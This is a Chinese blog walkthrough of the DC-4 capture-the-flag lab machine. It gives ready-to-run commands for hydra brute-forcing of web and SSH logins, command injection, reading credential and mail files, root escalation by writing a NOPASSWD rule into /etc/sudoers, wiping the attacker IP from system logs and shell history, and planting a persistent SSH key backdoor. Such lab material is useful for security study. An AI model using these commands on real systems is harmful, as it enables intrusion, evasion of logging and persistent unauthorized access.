DC-4靶机渗透--CTFer从0到1的进阶之路
前言：本次靶机相对于DC-3来说难度要低，但是这里需要的是信息搜集的能力，弱口令爆破进去之后怎么找到有用的文件是一大难点。
免责声明
重要提醒：本文档/文章仅限于合法的学习与研究目的，严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境（DC-4靶机）中进行，不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节，纯属客观描述现有公开机制，不提供可执行方案，也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意，请立即停止阅读。
一.信息搜集其一
依旧两条命令：
nmap -sn 10.254.85.0/24
nmap -sV -p- 10.254.85.123
这里可以看到开了ssh，那么后面应该会用到：
先浏览器看一眼长什么样：
直接是一个登录界面，而且只有一个nginx，扫个目录看看，没出来啥，基本上都是404，403那个是要登录的：
不会要弱口令爆破吧...）
爆破还是最后再用，找找网上有没有关于这个版本的漏洞，看到一个CVE2017但是是中危的：
Nginx 的 ngx_http_mp4_module 模块中存在一个漏洞。如果攻击者上传或触发服务器处理一个特制的 MP4 文件，可能会导致 Nginx 的工作进程进入无限循环、崩溃，甚至可能造成内存信息泄露。
利用条件：
模块开启： Nginx 在编译时必须开启了
ngx_http_mp4_module模块（这个模块默认不会被编译进 Nginx，需要显式指定）。功能使用：在 Nginx 的配置文件（
nginx.conf）中，必须存在处理.mp4文件请求的配置指令（例如mp4指令）。攻击路径：攻击者需要能够让服务器处理一个恶意的 MP4 文件。这意味着要么网站允许用户上传文件，要么攻击者能通过其他方式（如越权访问）让服务器解析这个文件。
风险评级：该漏洞的综合评级为 6.1分（中危）。考虑到上述苛刻的利用条件，在常规配置下，服务器受此漏洞影响的可能性相对较低。
metasploit找一下：
确实没找到，那么这里好像只能爆破了，网上找个常用字典【实在不行GitHub一搜一大堆，或者直接上rockyou】，一般啥都没提示的用户名大概率是admin，两种方法选一种爆破一下即可，先是hydra：
hydra -l admin -P rockyou.txt 10.254.85.123 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F| 参数 | 含义 | 说明 |
|---|---|---|
-l admin |
用户名 | 使用 admin 作为固定的用户名 |
-P rockyou.txt |
密码字典 | 从 rockyou.txt 文件中读取密码列表 |
| 10.254.85.123 | 目标IP | 要爆破的目标服务器地址 |
第一部分：路径 /login.php（dirsearch能扫出来的）
-
登录表单提交的目标 URL 路径
第二部分：POST 数据 username=^USER^&password=^PASS^
-
username=^USER^：^USER^是 Hydra 的占位符，会被-l指定的admin替换 -
password=^PASS^：^PASS^占位符，会被密码字典里的每个密码替换 -
&：连接多个 POST 参数
第三部分：成功/失败判断 S=logout
-
S=logout：表示登录成功后，服务器返回的响应中包含logout这个字符串 -
Hydra 会检查每个请求的响应，如果看到
logout，就认为登录成功，停止爆破
想简单一点的话直接BP里面爆破即可：
爆出来的密码为happy，登录一下：
二.信息搜集其二
看一看到我们选择命令之后点击run就会执行，前端源代码里面看不出啥，那就转到BP：
对radio的输入进行修改即可执行相应命令
然后这里面尝试输入了几个命令没找到啥有用的，直接上全局搜索：
find / -iname "*password*" 2>/dev/null找到看起来很有用的两个：
这里有两个文件分别为dat（数据文件）和bak（备份文件），而且这个bak它是在/home目录下的jim的路径中，那么我们就可以先看一眼用户：
cat /etc/passwd
看到有三个用户，其中就有我们的jim，因为之前我们是以admin登录的，所以可以直接查看文件内容：
cat /home/jim/backups/old-passwords.bak
发现了一堆密码，并且文件名称是old-passwd，很可能后面用ssh登录的密码就是这里面的，先复制下来，kali里面nano写一下：
nano passwd.txt用hydra进行ssh爆破：
hydra -l jim -P passwd.txt ssh://10.254.85.123
爆破出密码为jibril04，用ssh进行登录：
ssh jim@10.254.85.123
三.信息搜集其三
成功进入，并且这里提示到了一个NEW MAIL，说明我们要找到mail文件，先不搜全局尝试自己找找，发现一个标红的文件，但好像没啥用(虽然是所有人可以读写）：
没找到啥，看看SUID或者-l试一下：
find / -perm -u=s -type f 2>/dev/null
sudo -l
没什么可以用到的SUID，并且这里也说明了jim不能进行提权，这样的话路就堵死了，只能转到之前提示的那个mail中，说不定有什么再等着我们，全局搜索一下：
find / -name "*mail*" 2>/dev/null
但是这里又有个问题，跳出来一堆文件，好像没找到啥有用的，没招了网上看了别的师傅写的：
/var/mail是一个系统目录，用于存储用户的邮件。在某些 Linux 发行版（如 Ubuntu）中，该目录被符号连接到/var/spool/mail目录。在邮件服务器中，通常使用此目录来存储接收到的电子邮件，然后通过 IMAP 或 POP3 等协议提供给用户。当系统接收到邮件时，邮件服务器会自动将邮件写入到相应的用户邮箱文件中，文件名通常与用户名相同。 在某些系统中，用户可以使用
竟然是这样的，看来我还是认知太浅薄了，按照上面的一翻果然直接拿到了【这里坑点是它文件名不是mail而是jim，所以直接find找不到(╯▔皿▔)╯】
邮件里讲的就是charles要去休假了，有事的话就用他的账号进行操作，密码也是直接给了jim，这样的话就能su了
四.提权
sudo -l看到这么一个东西：
teehee 是 tee 命令的一个变种，功能类似：
-
从标准输入读取数据
-
同时输出到标准输出和文件
-
teehee通常有追加模式（>>）的特性
我们可以输入以下命令：
# 让 charles 可以无密码执行所有命令
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
1. echo 'charles ALL=(ALL:ALL) NOPASSWD: ALL'
输出一段文本，内容是 sudoers 配置规则
2. |（管道符）
将前面 echo 输出的内容，传递给后面的命令
3. sudo teehee -a /etc/sudoers
sudo：以 root 权限执行（因为修改 sudoers 需要 root）
teehee：写入工具，类似 tee 命令
-a：append（追加） 模式，在文件末尾添加内容，不会覆盖原有内容
/etc/sudoers：sudo 的配置文件，定义了哪些用户可以用 sudo 做什么简单来讲就是：用户 charles 可以在任何主机上，以任何用户的身份，不需要密码，执行任何命令
最后这里还有个细节点：
| 命令 | 需要什么 | 检查什么 | 能否成功 |
|---|---|---|---|
su root |
root 的密码 | root 账户密码 | ❌ 不知道密码 |
sudo su root |
charles 的 sudo 权限 | charles 在 sudoers 中的配置 | ✅ 有 NOPASSWD 权限 |
sudo -i |
charles 的 sudo 权限 | charles 在 sudoers 中的配置 | ✅ 直接获得 root shell |
sudo bash |
charles 的 sudo 权限 | charles 在 sudoers 中的配置 | ✅ 直接获得 root shell |
得到flag o(*￣▽￣*)ブ
五.痕迹清理
同样拿到root权限之后要进行痕迹清理
清理web日志
这里是nginx：
# 用 sed 命令删除包含我们IP的行
sed -i '/10.254.85.123/d' /var/log/nginx/access.log
# 同样处理 error.log
sed -i '/10.254.85.123/d' /var/log/nginx/error.log
清理系统日志
# 删除 auth.log 中包含 10.254.85.123 的所有行
sed -i '/10.254.85.123/d' /var/log/auth.log
# 删除 syslog 中包含 10.254.85.123 的所有行
sed -i '/10.254.85.123/d' /var/log/syslog清理历史记录
history -c
#临时禁用历史记录
set +o history
临时关闭当前 shell 的历史记录功能，之后的所有命令都不进内存，自然也不会写文件。六.植入持久化后门
这里详细学习一下如何植入SSH持久化后门
我们首先要在kali中新开一个终端，输入以下命令：
# 在 Kali 上执行
cd ~/.ssh
ssh-keygen -t rsa -b 4096 -f dc4_backdoor
# 直接回车两次（不设密码）
# 查看生成的文件
ls -la ~/.ssh/dc4_backdoor*
这里~/.ssh 是 SSH 配置文件目录，其中：
~ 代表当前用户的家目录（home directory）
在 Kali 中，~ 就是 /home/kali/
.ssh 是一个隐藏目录（以点开头）
所以 cd ~/.ssh 等同于 cd /home/kali/.ssh
查看公钥内容并进行复制，因为之后我们要把公钥放到靶机上面：
# 在 Kali 上查看公钥
cat ~/.ssh/dc4_backdoor.pub
下面按着做就行：
# 建立 .ssh 目录存在
mkdir -p /root/.ssh
chmod 700 /root/.ssh #700 是 SSH 服务认可的 “安全权限”，既保证 root 能操作，又杜绝其他用户接触
# 添加公钥（粘贴你在 Kali 上看到的公钥内容）
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# 注意：要粘贴完整的公钥内容
# 设置权限
chmod 600 /root/.ssh/authorized_keys #600 是 SSH 要求的最低安全权限（无执行权限，因为这是文本文件，不需要执行）
# 验证
cat /root/.ssh/authorized_keys
能看到公钥内容之后再回到我们之前新开的kali终端输入如下命令：
# 从 Kali 连接
ssh -i ~/.ssh/dc4_backdoor root@10.254.85.123
# 应该直接登录成功，不需要密码
大功告成~
柒.原理
1.SSH 公私钥认证的核心原理
非对称加密（Asymmetric Encryption）
SSH 使用 RSA/ECDSA/ED25519 等非对称加密算法，核心是数学上关联的一对密钥：
| 密钥 | 特性 | 谁持有 |
|---|---|---|
| 私钥 | 保密，永不传输 | 客户端（你的 Kali） |
| 公钥 | 公开，可以从私钥推导 | 服务器（DC-4） |
数学特性：
-
用公钥加密的数据，只能用对应的私钥解密
-
用私钥签名的数据，只能用对应的公钥验证
2. SSH 认证的完整流程
阶段一：密钥对生成
ssh-keygen -t rsa -b 4096 -f ~/.ssh/dc4_backdoor生成过程：
-
算法生成两个大素数，通过数学运算产生一对密钥
-
私钥
dc4_backdoor：保存在我们的 Kali 上，永远不离开我们的机器 -
公钥
dc4_backdoor.pub：要放到服务器上
阶段二：部署公钥
# 在 DC-4 服务器上
echo "公钥" >> /root/.ssh/authorized_keys此时服务器知道了："持有这个公钥对应私钥的人，就是授权用户"
阶段三：认证过程
当我们执行 ssh -i ~/.ssh/dc4_backdoor root@10.254.85.123 时：
┌─────────────┐ ┌─────────────┐
│ Kali │ │ DC-4 │
│ (客户端) │ │ (服务器) │
└─────────────┘ └─────────────┘
│ │
│ 1. 连接请求 │
│──────────────────────────────────────────────────>│
│ │
│ 2. 服务器发送挑战： │
│ "你是谁？请证明你持有 root@dc-4 对应的私钥" │
│<──────────────────────────────────────────────────│
│ │
│ 3. 客户端用私钥签名一个随机数 │
│ (只有持有私钥的人才能正确签名) │
│──────────────────────────────────────────────────>│
│ │
│ 4. 服务器用公钥验证签名 │
│ - 用 root/.ssh/authorized_keys 里的公钥解密 │
│ - 比对随机数是否匹配 |
│ - 匹配 → 认证成功 |
│<──────────────────────────────────────────────────│
│ │
│ 5. 建立加密会话，登录成功 │
│──────────────────────────────────────────────────>│3.为什么安全？
私钥永不传输
-
整个过程中，私钥从未离开过你的 Kali
-
网络传输的只是加密的挑战和签名，无法逆向推导私钥
数学保证
-
RSA 基于大数分解难题：知道公钥（n, e）无法推导私钥（d）
-
只有持有私钥的人才能正确解密挑战
防重放攻击
-
每次认证的随机数都不同
-
即使截获本次认证的签名，下次也无法重用
4. authorized_keys 文件的作用
cat /root/.ssh/authorized_keys
# ssh-rsa AAAAB3NzaC1yc2EAAA... kali@kali这个文件是授权列表：
-
每一行是一个公钥
-
SSH 服务器启动时加载到内存
-
认证时，服务器会尝试用每个公钥去验证客户端的签名
-
只要有一个匹配，认证成功
5. 为什么 chmod 很重要？
chmod 700 /root/.ssh # 只有 root 能访问
chmod 600 /root/.ssh/authorized_keys # 只有 root 能读写SSH 服务器会检查：
-
如果
.ssh目录其他用户可写，任何人都可以替换我们的公钥 → 安全风险 -
如果
authorized_keys其他用户可读，攻击者可以获取我们的公钥 → 虽然公钥本身不敏感，但配合其他信息可能被利用 -
SSH 为了安全，拒绝使用权限不严格的 authorized_keys 文件
八.总结
其实最后植入ssh后门这里只是配置问题所以过程非常顺利，如果服务器禁用了公钥认证，修改了SSH配置啥的就还要进行相应修改，因为这里不是重点就不赘述了。本次打靶也是认识到了信息搜集的重要性
"The best vulnerability scanner is the one between your ears, fueled by good information."
—— 最好的漏洞扫描器是你大脑，而燃料是充分的信息
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念，把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起，为开发者提供从开发、训练到部署的一站式体验。
更多推荐
11
0- 0
已为社区贡献2条内容
所有评论(0)